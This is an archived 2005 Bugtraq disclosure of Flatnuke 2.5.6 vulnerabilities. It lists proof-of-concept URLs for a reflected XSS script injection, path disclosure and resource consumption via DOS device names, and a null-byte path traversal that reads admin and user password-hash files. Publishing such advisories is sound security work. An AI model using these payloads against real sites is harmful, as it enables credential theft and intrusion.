bugtraq - Flatnuke 2.5.6 (possibly prior versions) Underlying system information disclosure / Administrative & users credentials disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050830211243.26050.qmail@securityfocus.com>
Date: 30 Aug 2005 21:12:43 -0000
From: retrogod@...ceposta.it
To: bugtraq@...urityfocus.com
Subject: Flatnuke 2.5.6 (possibly prior versions) Underlying system
 information disclosure / Administrative & users credentials disclosure


Flatnuke 2.5.6 Underlying system information disclosure / Administrative & users credentials disclosure  
/ cross site scripting / path disclosure / resource consumption poc

(tested on Windows)

software:
site: http://flatnuke.sourceforge.net/flatnuke/

1) cross site scripting:
http://[target]/[path]/forum/index.php?op=vis_reg&usr="><script>alert('LOL%20%20')</script><!--

2) path disclosure:
2.a) http://[target]/[path]/print.php?news=com1%00&mod=whatever
and so on calling MS-DOS reserved device name for news parameter...

2.b) http://[target]/[path]/index.php?mod=read&id=whatever

3) resource consumption:
on Windows:
http://[target]/[path]/print.php?news=con%00&mod=ciao
http://[target]/[path]/index.php?mod=read&id=../forum/users/con%00

4) 
a user can retrieve any file on target system using null byte (%00), example admin MD5 password hash disclosure:
http://[target]/[path]/index.php?mod=read&id=../forum/users/admin.php%00

generally:
http://[target]/[path]/index.php?mod=read&id=../forum/users/[user].php%00

rgod
site: http://rgod.altervista.org
mail: retrogod@...ceposta.it